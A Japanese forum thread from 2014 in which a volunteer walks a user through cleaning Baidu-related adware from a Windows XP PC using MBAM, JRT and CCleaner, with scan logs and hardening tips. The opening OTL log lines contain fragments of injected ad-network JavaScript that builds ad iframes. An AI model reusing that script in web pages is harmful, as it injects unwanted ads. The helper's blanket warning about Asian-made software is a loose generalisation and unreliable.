File 0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D\".substr(9*d,8),a=a>>>8^d;c=a^-1;0>c&&(c+=4294967296);return c}},_zyad={title:document.title?document.title.toLowerCase():\"na\",location:window.self.location.href.toLowerCase() + (document.referrer ? document.referrer : ''),vrt:!1,networks_list:[[['cpx_bet_55',3247],['start_me_app_tier3',3],['baba_tb_new',1],['yashi_apx_new',45],['yieldads_rmx',348],['adperium_rmx_new',1],['blutonic_apx',1],['batanga_rmx_new',149],['adnetwork_adnttb',3],['media152_gen',3],['harren_apx_new',50],['velis_apx1',179],['acsencion_apx2',57],['adsuduos_apx1',51],['sonobi_gen',50],['mari_gen4',915],['mari_gen4_2',915],['adstract_newt3_27_3',95],['web3_nontb5',31],['baba_nontb2',95],['sayme not found.
File + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2450405&size='+size+'', (atp?atp:1), [815,size]);}}catch(e){return !1;}},web3_nontb5:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2450540&size='+size+'&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]', (atp?atp:1), [821,size]);}}catch(e){return !1;}},baba_nontb2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2446828\",\"300x250\":\"2446829\",\"728x90\":\"2446830\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr) not found.
File CHEBUSTER]&referrer=[REFERRER_URL]', (atp?atp:1), [820,size]);}}catch(e){return !1;}},matomy_strm22:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 160x600 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2452616\",\"160x600\":\"2452623\",\"728x90\":\"2452620\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [830,size]);}}catch(e){return !1;}},matomy_strm22_2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2452622\",\"300x250\":\"2452618\",\"160x600\":\"2452626\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [834,size]);}}catch(e){return !1;}},hulk_porn:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width= not found.

OTL by OldTimer - Version 3.2.69.0 log created on 04092014_115226


状況報告：特に変わらず異常は見られません。

よろしくお願いします。
  • wysksun
  • 2014/04/09 (Wed) 12:06:19
返信フォームへ 
MBAMとACの再試行を
作業と報告、ご苦労様です。

>ネット上からダウンロードした動画等は全部削除しました。

はい、これはいいです。
動画に限らずどんなファイルでも信頼できないサイトからDLしたら危険は常に隠れていることをお忘れなく。

>状況報告：特に変わらず異常は見られません。

はい、ではOTLは片付けてから、MBAMとACでの作業を再試行してみてください。
AC最新版を準備と、MBAMも再度インストールと更新してから、両アプリをセーフモードで作業してください。

作業後、その結果をまたレスください。
スキャンと処置ができたらそのログもお願いします
  • 悪代官
  • 2014/04/09 (Wed) 19:11:43
返信フォームへ 
Re: MBAMとACの再試行を
ご協力ありがとうございます。

MBAMとACを再度試してみましたが、状態は変わらず処理できませんでした。
中途で止まり処理できていませんがMBAMの数字は前回と変わり脅威摘出数は３０で殆どがFire Fox 関係でした。


よろしくお願いします。
  • wysksun
  • 2014/04/09 (Wed) 22:00:11
返信フォームへ 
FFを一度削除します
作業と報告、ご苦労様です。
まだ両アプリはうまく動作しませんか。

>中途で止まり処理できていませんがMBAMの数字は前回と変わり脅威摘出数は３０で殆どがFire Fox 関係でした

では角度を変えて対処します。

まずFirefoxのブックマークで、必要なものがあればブクマをバックアップ（エクスポート）しておいてください。
FFを一度削除するのでその準備です。

準備できたらセーフモードでIUを使ってFFをアンインストールしてください。

アンイストールできたらATFでゴミ掃除のあと、PCを通常モードで再起動です。

そこでCドライブを開いて、以下のフォルダを探して、見つかればそれを削除してください。探しても見つからない時はスルーでいいです。
>C:\Documents and Settings\【ユーザー名】\Application Data\Mozilla

このあとFFを公式サイトからダウンロードと再インストールして、そのあとしばらく様子見後、またMBAMでの作業を再試行して、その結果をレスください
  • 悪代官
  • 2014/04/09 (Wed) 22:10:19
返信フォームへ 
Re: FFを一度削除します
ご協力ありがとうございます。

Fire Fox のアンインストール、ファイル削除後にMBAMを試しましたが、状態は変わらずヒューリスティックス分析の中途で止まり、摘出数は２に減少しましたが処理できませんでした。


よろしくお願いします。
  • wysksun
  • 2014/04/10 (Thu) 22:44:06
返信フォームへ 
MBAMはバグが多発中みたいですね
またレスが遅くなってすみません。

>Fire Fox のアンインストール、ファイル削除後にMBAMを試しましたが、状態は変わらずヒューリスティックス分析の中途で止まり、摘出数は２に減少しましたが処理できませんでした

ということは、どうやら以下のページでIVNOさんが説明されたトラブルの疑いがありますね。
http://respondent.bbs.fc2.com/?act=reply&tid=6231267

やはりMBAMはバージョンアップ後に、環境によってかなり動作バグが出ているようです。
無理に使って更に誤検出でもしたらいけないので、MBAMはこの際置いといたほうがよさそうですね。

では代替ツールを使います。
以下のサイト様の説明を読んでから、
http://milksizegene.blog.fc2.com/blog-entry-311.html
その説明に沿って「Junkware Removal Tool」を用意してください。
これはAC同様に高い検出力を持つツールです。
以下のリンクからJRTをダウンロードと保存しておいてください。ファイル直リンです。
http://thisisudax.org/downloads/JRT.exe

用意できたらPCをセーフモードで起動して、JRTを起動してください。

手順に沿ってスキャンと、検出されたものが処置できたらPCを再起動後、JRTのログを返信に貼って見せてください
  • 悪代官
  • 2014/04/11 (Fri) 19:07:33
返信フォームへ 
JRTのログなります。
ご協力ありがとうございます。

PCをセーフモードで起動して、JRTを起動しましたがコマンドプロンプトのウインドウが出ただけで
文字が出ませんでしたので以下は通常起動でのJRTのログなります。

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Junkware Removal Tool (JRT) by Thisisu
Version: 6.1.4 (04.06.2014:1)
OS: Microsoft Windows XP x86
Ran by kwata on 2014/04/12 at 11:30:23.67
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




~~~ Services



~~~ Registry Values



~~~ Registry Keys

Successfully deleted: [Registry Key] HKEY_CURRENT_USER\Software\baidu
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\baidu



~~~ Files



~~~ Folders

Successfully deleted: [Folder] "C:\Documents and Settings\All Users\application data\boost_interprocess"
Successfully deleted: [Folder] "C:\Documents and Settings\kwata.SIRIUS.003\Application Data\baidu"
Successfully deleted: [Folder] "C:\Documents and Settings\kwata.SIRIUS.003\Application Data\systweak"
Successfully deleted: [Folder] "C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\baidu"





~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Scan was completed on 2014/04/12 at 11:40:06.43
End of JRT log
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

よろしくお願いします。

  • wysksun
  • 2014/04/12 (Sat) 11:44:58
返信フォームへ 
状態確認と、再度ログをお願いします
作業と報告、ご苦労様です。
JRTのログを見たところ、まだ結構残ってましたね。
今更ながらBaiduの往生際の悪さを見ることができました。
悪代官としてはぜひ見習いたいものです（←向上を目指す方向が違う

ではその後異常が出てなければ、JRTももう片付けていいです。
本体ファイルを削除してください。

作業後、何か異常は残ってますか？
何かあればまた報告ください。

特になければまた状態確認します。
お手数ですがCCでまたインストール情報と各タブのログを取り直して、それをレスで見せてください
  • 悪代官
  • 2014/04/12 (Sat) 17:56:46
返信フォームへ 
Re: 状態確認と、再度ログをお願いします。
ご協力ありがとうございます。

取り直したCCでのインストール情報と各タブのログになります。

Install

+Lhaca 2014/02/17
Adobe AIR Adobe Systems Incorporated 2013/04/21 3.7.0.1530
Adobe Flash Player 12 ActiveX Adobe Systems Incorporated 2014/04/03 12.0.0.77
Adobe Flash Player 12 Plugin Adobe Systems Incorporated 2014/04/03 12.0.0.77
Adobe Reader XI (11.0.06) - Japanese Adobe Systems Incorporated 2014/02/09 149.00 MB 11.0.06
Apple Application Support Apple Inc. 2014/03/04 94.98 MB 3.0.1
Apple Mobile Device Support Apple Inc. 2014/03/04 20.73 MB 7.1.1.3
Apple Software Update Apple Inc. 2011/11/05 2.38 MB 2.1.3.127
ASIO Proxy for foobar2000 Maxim V.Anisiutkin 2014/04/12 0.6.5
ASIO4ALL Michael Tippach 2014/02/17 2.10
astah professional 6.1 Change Vision, Inc. 2014/02/17
ATOK 2009 株式会社ジャストシステム 2009/12/14 161.00 MB 22.0.3.0
Bonjour Apple Inc. 2014/03/04 1.03 MB 3.0.0.10
BUFFALO AirStation倍速設定ツール（アンインストール） 2014/04/12
BUFFALO クライアントマネージャ３ 2014/04/12
BUFFALO 親機子機切り替えツール BUFFALO INC. 2014/02/17
Canon ScanGear Toolbox CS 2.2 2014/02/17
CCleaner Piriform 2014/03/01 4.11
Compatibility Pack for the 2007 Office system Microsoft Corporation 2014/04/09 279.00 MB 12.0.6612.1000
Craving Explorer Version 1.5.2 T-Craft 2013/10/13 1.5.2.0
Creative EAX ｾｯﾃｨﾝｸﾞ 2014/02/17
Creative ｽﾋﾟｰｶｰ ｾｯﾃｨﾝｸﾞ 2014/02/17
Creative ｿﾌﾄｳｪｱ ｵｰﾄｱｯﾌﾟﾃﾞｰﾄ
Dropbox Dropbox, Inc. 2014/02/17 2.4.11
DVD Shrink 3.2 DVD Shrink 2014/02/17
FeliCa Launcher Sony Corporation 2013/04/21 1.4.1.3
FFFTP Ver.1.98e FFFTP Project 2014/02/17
FLAC 1.2.1b (remove only) Xiph.org 2014/02/17 1.2.1b
Google Chrome Google Inc. 2014/04/03 33.0.1750.154
HandBrake 0.9.8 2014/02/17 0.9.8
IDiskバックアップツール 株式会社ジャストシステム 2009/11/13 0.1.1.0
iFunbox (v2.7.2386.747), iFunbox DevTeam 2014/01/05 v2.7.2386.747
ImgBurn LIGHTNING UK! 2014/03/02 2.5.8.0
Intel(R) Graphics Media Accelerator Driver 2014/04/12
IObit Uninstaller IObit 2014/03/01 3.1.7.2405
iPhone 構成ユーティリティ Apple Inc. 2012/12/24 12.73 MB 3.6.1.296
Java 7 Update 51 Oracle 2013/04/21 129.00 MB 7.0.510
jetAudio Basic VX COWON 2010/01/05 8.0.0
JUSTｵﾝﾗｲﾝｱｯﾌﾟﾃﾞｰﾄ 株式会社ジャストシステム 2012/05/27 1.0.1.0
McAfee Security Scan Plus McAfee, Inc. 3.8.141.11
MediaInfo 0.7.67 MediaArea.net 2014/02/17 0.7.67
Mercurial 2.4.0 (x86) Matt Mackall and others 2012/11/24 24.27 MB 2.4.0
Microsoft .NET Framework 2.0 Service Pack 2 Microsoft Corporation 2014/02/13 3,483.00 MB 2.2.30729
Microsoft .NET Framework 2.0 Service Pack 2 Language Pack - JPN Microsoft Corporation 2010/02/28 6.23 MB 2.2.30729
Microsoft .NET Framework 3.0 Service Pack 2 Microsoft Corporation 2013/10/15 446.00 MB 3.2.30729
Microsoft .NET Framework 3.0 Service Pack 2 Language Pack - JPN Microsoft Corporation 2010/02/28 9.40 MB 3.2.30729
Microsoft .NET Framework 4 Client Profile Microsoft Corporation 2014/02/13 4.0.30319
Microsoft .NET Framework 4 Extended Microsoft Corporation 2014/02/13 4.0.30319
Microsoft Office Excel Viewer Microsoft Corporation 2013/12/12 75.86 MB 12.0.6612.1000
Microsoft Office XP Professional with FrontPage Microsoft Corporation 2011/06/25 448.00 MB 10.0.6626.0
Microsoft SQL Server 2008 Microsoft Corporation 2014/02/17
Microsoft SQL Server 2008 Browser Microsoft Corporation 2010/02/28 7.95 MB 10.0.1600.22
Microsoft SQL Server 2008 Management Objects Microsoft Corporation 2010/02/28 11.47 MB 10.0.1600.22
Microsoft SQL Server 2008 Native Client Microsoft Corporation 2010/02/28 4.82 MB 10.0.1600.22
Microsoft SQL Server 2008 セットアップ サポート ファイル (英語) Microsoft Corporation 2010/02/28 35.48 MB 10.0.1600.22
Microsoft SQL Server Compact 3.5 SP1 デザイン ツール日本語版 Microsoft Corporation 2010/02/28 9.17 MB 3.5.5692.0
Microsoft SQL Server Compact 3.5 SP1 日本語版 Microsoft Corporation 2010/02/28 2.87 MB 3.5.5692.0
Microsoft SQL Server VSS Writer Microsoft Corporation 2010/02/28 6.50 MB 10.0.1600.22
Microsoft Visual C# 2008 Express Edition SP1 - 日本語 Microsoft Corporation 2014/02/17
Microsoft Visual C++ 2005 ATL Update kb973923 - x86 8.0.50727.4053 Microsoft Corporation 2010/01/12 0.11 MB 8.0.50727.4053
Microsoft Visual C++ 2005 Redistributable Microsoft Corporation 2011/06/25 5.28 MB 8.0.61001
Microsoft Visual C++ 2008 ATL Update kb973924 - x86 9.0.30729.4148 Microsoft Corporation 2010/03/02 0.15 MB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729 Microsoft Corporation 2010/02/28 10.28 MB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 Microsoft Corporation 2013/04/06 9.64 MB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 Microsoft Corporation 2011/06/25 10.20 MB 9.0.30729.6161
Microsoft Windows SDK for Visual Studio 2008 SP1 Express Tools for .NET Framework - jpn Microsoft Corporation 2010/02/28 5.75 MB 3.5.30729
Microsoft Windows SDK for Visual Studio 2008 SP1 Express Tools for Win32 Microsoft Corporation 2010/02/28 2.61 MB 6.1.5295.17011
MobileMe Control Panel Apple Inc. 2011/02/14 11.97 MB 3.1.5.0
MPC-HC 1.7.3 MPC-HC Team 2014/03/31 1.7.3
MSXML 4.0 SP2 (KB954430) Microsoft Corporation 2009/11/14 2.67 MB 4.20.9870.0
MSXML 4.0 SP2 (KB973688) Microsoft Corporation 2009/12/14 2.77 MB 4.20.9876.0
MSXML 6.0 Parser (KB933579) Microsoft Corporation 2010/02/28 1.40 MB 6.10.1200.0
NFC Port Software Sony Corporation 2013/04/21 5.2.3.1
Orchis 2014/02/17
Paint.NET v3.5.10 dotPDN LLC 2013/04/03 14.62 MB 3.60.0
PC/SC Activator for Type B Sony Corporation 2013/04/21 1.2.1.0
PDF reDirect (remove only) EXP Systems LLC 2014/02/17 v2.5.2
PhoneTrans 3.3.8 iMobie Inc. 2013/03/12 3.3.8
Picasa 3 Google, Inc. 2014/02/17 3.8
PocketCloud Windows Companion 会社名 2013/04/06 16.15 MB 2.5.13
Python 2.4.3 Martin v. Lis 2012/11/24 29.34 MB 2.4.3150
QuickTime Apple Inc. 2011/02/14 73.72 MB 7.69.80.9
RealPlayer RealNetworks 2014/02/17 16.0.3
Safari Apple Inc. 2011/03/10 41.27 MB 5.33.20.27
SFCard Viewer 2 Sony Corporation 2013/04/21 2.4.1.2
Sleipnir Version 4.3.4 Fenrir Inc. 2013/05/16 4.3.4
Sound Blaster 5.1 VX 2014/02/17 1.0
SQL Server System CLR Types Microsoft Corporation 2010/02/28 0.81 MB 10.0.1600.22
SUPERAntiSpyware SUPERAntiSpyware.com 2014/04/06 5.7.1018
Surround Mixer 2014/02/17
Tera Term 4.74 2012/08/14
Widget Manager Sony Corporation 2013/04/21 2.4
Windows Genuine Advantage Validation Tool (KB892130) Microsoft Corporation 2009/11/11
Windows Internet Explorer 8 Microsoft Corporation 2009/11/12 20090308.140743
Windows Management Framework Core Microsoft Corporation 2010/02/27
WinRAR アーカイバ 2014/02/17
カシミール ３Ｄ ＤＡＮ杉本 2011/02/07 8.9.0


Windows

有効 HKCU:Run ctfmon.exe Microsoft Corporation C:\WINDOWS\system32\ctfmon.exe
有効 HKCU:Run SUPERAntiSpyware D:\ProgramFiles\SUPERAntiSpyware\SUPERAntiSpyware.exe
有効 HKLM:Run Adobe ARM Adobe Systems Incorporated "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
有効 HKLM:Run AppleSyncNotifier Apple Inc. C:\Program Files\Common Files\Apple\Mobile Device Support\AppleSyncNotifier.exe
有効 HKLM:Run APSDaemon Apple Inc. "C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
有効 HKLM:Run CTSysVol Creative Technology Ltd D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe /r
有効 HKLM:Run FeliCa Launcher Sony Corporation "D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe" /AutoStart
有効 HKLM:Run HotKeysCmds Intel Corporation C:\WINDOWS\system32\hkcmd.exe
有効 HKLM:Run IgfxTray Intel Corporation C:\WINDOWS\system32\igfxtray.exe
有効 HKLM:Run IMJPMIG12.0 Microsoft Corporation C:\Program Files\Common Files\Microsoft Shared\IME12\IMEJP\IMJPRMZB.EXE /RmZombie
有効 HKLM:Run IMJPMIG8.1 Microsoft Corporation "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
有効 HKLM:Run iTunesHelper Apple Inc. "D:\ProgramFiles\iTunes\iTunesHelper.exe"
有効 HKLM:Run JustOnlineUpdate 株式会社ジャストシステム "C:\Program Files\Common Files\JustSystem\JustOnlineUpdate\JustOnlineUpdate.exe" /startup
有効 HKLM:Run Persistence Intel Corporation C:\WINDOWS\system32\igfxpers.exe
有効 HKLM:Run PHIME2002A Microsoft Corporation C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName
有効 HKLM:Run PHIME2002ASync Microsoft Corporation C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /SYNC
有効 HKLM:Run PocketCloud Location Wyse Technology Inc. D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
有効 HKLM:Run QuickTime Task Apple Inc. "D:\ProgramFiles\QuickTime\qttask.exe" -atboottime
有効 Startup Common クライアントマネージャ３.lnk BUFFALO INC. D:\ProgramFiles\BUFFALO\Client Manager3\cm3_tray.exe
有効 Startup Common スタートアップツール for ATOK 2009.lnk 株式会社ジャストシステム D:\ProgramFiles\JustSystems\ATOK22\ATOK22PC.EXE
有効 Startup User Dropbox.lnk Dropbox, Inc. C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Dropbox\bin\Dropbox.exe


Internet Explorer

有効 Extension Messenger Microsoft Corporation D:\ProgramFiles\Messenger\msmsgs.exe
有効 Extension 接続の問題の診断... Microsoft Corporation %windir%\Network Diagnostic\xpnetdiag.exe
有効 Helper ExplorerWnd Helper IObit D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll
有効 Toolbar ExplorerWnd Helper IObit D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll


Chrome

有効 App Gmail 7 譛€蛻昴・繝ｦ繝ｼ繧ｶ繝ｼ C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_1
有効 App Google 繝峨Λ繧､繝・ 6.3 譛€蛻昴・繝ｦ繝ｼ繧ｶ繝ｼ C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.3_0
有効 App Google 讀懃ｴ｢ 0.0.0.20 譛€蛻昴・繝ｦ繝ｼ繧ｶ繝ｼ C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.20_0
有効 App YouTube 4.2.6 譛€蛻昴・繝ｦ繝ｼ繧ｶ繝ｼ C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.6_0
有効 Extension Google 繝峨く繝･繝｡繝ｳ繝・ 0.5 譛€蛻昴・繝ｦ繝ｼ繧ｶ繝ｼ C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.5_0
有効 Extension Google 繧ｦ繧ｩ繝ｬ繝・ヨ 0.0.6.1 譛€蛻昴・繝ｦ繝ｼ繧ｶ繝ｼ C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.0.6.1_0
無効 Extension RealDownloader 1.3.3 譛€蛻昴・繝ｦ繝ｼ繧ｶ繝ｼ C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\idhngdhcfkoamngbedgpaokgjbnpdiji\1.3.3_0


Task

有効 Task Adobe Flash Player Updater Adobe Systems Incorporated C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe
有効 Task AppleSoftwareUpdate Apple Inc. D:\ProgramFiles\Apple Software Update\SoftwareUpdate.exe -task
有効 Task GoogleUpdateTaskMachineCore Google Inc. D:\ProgramFiles\Google\Update\GoogleUpdate.exe /c
有効 Task GoogleUpdateTaskMachineUA Google Inc. D:\ProgramFiles\Google\Update\GoogleUpdate.exe /ua /installsource scheduler
有効 Task Microsoft Windows XP のサポート終了に関する毎月のお知らせ Microsoft Corporation C:\WINDOWS\system32\xp_eos.exe
有効 Task Microsoft Windows XP のサポート終了のお知らせ ログオン Microsoft Corporation C:\WINDOWS\system32\xp_eos.exe -c
有効 Task RealPlayerRealUpgradeLogonTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /logoncheck
有効 Task RealPlayerRealUpgradeScheduledTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /scheduledcheck
有効 Task RealUpgradeLogonTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /logoncheck
有効 Task RealUpgradeScheduledTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /scheduledcheck


状況報告
Fire Foxはアンインストール以後使わないことにしました。
Chrome起動して直ぐに複数の不必要なタスクが表示されます。

CCのChromeのログの文字化けが気になります。

後は特に異常はみられません。


悪代官としてはぜひ見習いたいものです（←向上を目指す方向が違う)(笑）

よろしくお願いします。
  • wysksun
  • 2014/04/13 (Sun) 10:16:12
返信フォームへ 
以後の自衛して「解決」で
作業と報告、ご苦労様です。

>Fire Foxはアンインストール以後使わないことにしました。
>Chrome起動して直ぐに複数の不必要なタスクが表示されます。

>CCのChromeのログの文字化けが気になります。

なるほど、いかにもChromeらしい挙動ですね。アップデートの動きでしょう。
まず文字化けは気にしなくていいです。この辺りは解析ログ上だけの表示でしょうから。

Chromeのタスクは以下の手順で作業してください。
CC起動して「スケジュールされたタスク」タブの下記を右クリックから「無効」にだけしてください。削除はしないように。
>有効 Task GoogleUpdateTaskMachineCore Google Inc. D:\ProgramFiles\Google\Update\GoogleUpdate.exe /c
>有効 Task GoogleUpdateTaskMachineUA Google Inc. D:\ProgramFiles\Google\Update\GoogleUpdate.exe /ua /installsource scheduler

これで一時的には起動時のChromeタスクが止まりますが、Googleのアプリを起動するとまた「有効」に戻るはずなので、PCをシャットダウンする前にはまた無効化しておく必要があります。
Google系はこうやって妙に常駐化したがる性質のためいろいろと議論や悪評も出てます。

他には特に問題なさそうですね。
ではそのまま異常再発もなければ「解決」でいいでしょう。
各ツールは準備時の説明に沿って片づけてください。

以後の自衛策も忘れないように。
ブラウザの設定を少し固めるだけでも、セキュリティ上の効果を高めることが可能です。
「インターネットオプション」→「プライバシー」→「詳細設定」と開いて、「自動cookie処理」と「サードパーティのcookieをブロック」にチェックして「適用」して「OK」。
これをやっておくと、多くの危険サイトからの保護にかなり有効です。
が、これもすべての危険サイトに有効でもないし、本物の危険サイトではこの程度ではまったく太刀打ちできないので、過信はしないこと。
また、「すべてのcookieをブロックする」設定にすると、プロバイダのメールボックスなどログイン必要なページに入れなくなる弊害も出るので、これは状況を考えて使い分けるといいでしょう。
安全なサイトでもcookieブロックだと閲覧や投稿ができなくなるところもあるのでこれも注意。

次に、アンチウイルスやファイアウォール等のセキュリティソフトの使い方も注意してください。
セキュリティソフトはただ入れてさえいればそれだけでフル機能を発揮するものではありません。
設定と機能をできるだけ把握して、正しく使うことが重要です。
間違った使い方すると、本来ならブロックできた感染でもあっさりスルーします。

また、いくら高性能なセキュリティソフトがあっても、ユーザーが自分から危険なサイトやファイルにアクセスしてたらまったく保護もできません。
セキュリティソフトは使い方次第でその性能を、倍にも半にも無にも変動させます。

そして百聞は一見にしかず。
現在この掲示板で継続中や解決済みの他スレもできるだけ見ておくことをおすすめします。
同様、類似、別種含めて参考になる部分は多いでしょう。

この「他スレも見ておく」というのが現在かなり有用な自衛の一環になってます。
まったく違う症状の事例でも、調べてみると他の事例でもかなり応用できて役立つ対処法もかなりあります。

セキュリティのうえでは覚えておくべきことは山ほどありますが、最初から全部頭に詰め込む必要もないので、わかる範囲から少しずつでも消化しながら、PC環境とセキュリティ意識を再構築していってください。

慣れない作業を長い間お疲れ様でした。
再発もなく無事解決になるように祈ってます。
以後は安全で快適なPCライフを
  • 悪代官
  • 2014/04/13 (Sun) 12:17:29
返信フォームへ 
百度云 Baidu Claud の危険性について
悪代官様、今まで長い間ご協力ありがとうございます。
お陰様で正常速度で機能するようになりました。


百度云 Baidu Claud を前に使用していたのですが、中国関係のストレージサービスその他の危険性について何かご存知でしょうか?


  • wysksun
  • 2014/04/13 (Sun) 16:45:18
返信フォームへ 
アジア系サイトやアプリには注意を
>百度云 Baidu Claud を前に使用していたのですが、中国関係のストレージサービスその他の危険性について何かご存知でしょうか?

Baidu関連は言うまでもなく、一部アジア国系のサイトやアプリはかなり用心してかかることを強く推奨しておきます。

自分がセキュリティ関連の相談を受ける以前から、アジア系のマルウェアは各社のセキュリティソフトでも簡単には駆除どころか検出も難しいことが知られていました。
マルウェアではなく安全で合法的なコンテンツやサービスと各社が主張するプログラムでも、一度インストールするとアンインストール後でもPC内にファイルやタスクを残したり、削除自体簡単にはできないような物もありました。
たとえば某国製のOfficeソフトは互換性だけならMicrosoft Officeにかなり近いことで便利という評価がありましたが、内部で動くタスクをユーザーが無効化してもアプリを起動するたびに自動で有効に戻ってしまうので、本国のサーバーにPC内のどんなデータを送っているのかという疑いもあり、これを使うならその設定と機能をしっかり把握して完全に自己責任で判断をと注意しています。

そしてこれも覚えておいてください。

どれだけ高性能なアンチウイルスソフト、セキュリティソフトを入れていても、ユーザー自身が手を出したサイトやファイルが危険な物だったら、セキュリティソフトもまったく保護監視してくれません。
ユーザーが「許可」してしまったものはもうスルーしてしまうだけです。
なのでアクセスしたいサイトやファイルが本当に安全か危険かを事前に判断する目と判断力を磨くのがセキュリティ上で不可欠な条件でもあります。
なんでも安易に「許可」「ok」してたらPC内に何を仕込まれても不思議ないです
  • 悪代官
  • 2014/04/13 (Sun) 17:26:34
返信フォームへ 
長い間ありがとうございました。
悪代官様、今まで長い間ご協力ありがとうございます。
ウイルス駆除は一人では難しくお陰様で助かりました。

これからは教えて頂いた自戒ををもって安全で快適なPCライフを送ります。
長い間お付き合い頂きありがとうございました。
  • wysksun
  • 2014/04/14 (Mon) 12:11:05
返信フォームへ 

返信フォーム
プレビュー （投稿前に内容を確認）
  
Template by  マシマロック